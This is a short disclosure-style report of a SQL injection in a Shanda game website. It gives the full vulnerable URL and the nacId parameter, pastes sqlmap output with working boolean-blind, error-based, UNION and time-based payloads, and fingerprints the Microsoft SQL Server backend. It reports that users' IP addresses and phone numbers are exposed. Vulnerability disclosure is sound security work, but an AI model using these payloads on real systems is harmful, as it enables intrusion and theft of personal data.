SQL Injection on a site of Shanda game may cause leakage of the IP addresses and mobile phone numbers of current database users
Shanda game was injected again, and its permissions were not high enough to query its own tables. You can see the IP address and mobile phone number when the user is activated.
Injection address:
http://blood.sdo.com/NewsApp/GetVoteInfo.ashx?naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=217818
Payload:
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: nacId Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=217818' AND 8946=8946 AND 'KKsY'='KKsY Vector: AND [INFERENCE] Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=217818' AND 2110=CONVERT(INT,(SELECT CHAR(113)+CHAR(99)+CHAR(100)+CHAR(110)+CHAR(113)+(SELECT (CASE WHEN (2110=2110) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(110)+CHAR(113))) AND 'puHS'='puHS Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) Type: UNION query Title: Generic UNION query (NULL) - 11 columns Payload: naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=217818' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(99)+CHAR(100)+CHAR(110)+CHAR(113)+CHAR(82)+CHAR(108)+CHAR(99)+CHAR(68)+CHAR(107)+CHAR(118)+CHAR(90)+CHAR(110)+CHAR(89)+CHAR(67)+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(110)+CHAR(113),NULL-- Vector: UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,[QUERY],NULL-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query) Payload: naId=1&bm=utf-8&t=0.3482579686222665&jsoncallback=jQuery110206128954326713232_1433462792000&_=1433462792002&nacId=-7349' OR 5039=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'huTO'='huTO Vector: OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)---[18:43:29] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2008 R2 or 7web application technology: ASP.NET 4.0.30319, Microsoft IIS 7.5, ASP.NETback-end DBMS: Microsoft SQL Server 2008
It shares a database with other games, but cannot be viewed due to insufficient permissions.
Leakage of a large number of user IP addresses and mobile phone numbers:
Solution:
Filter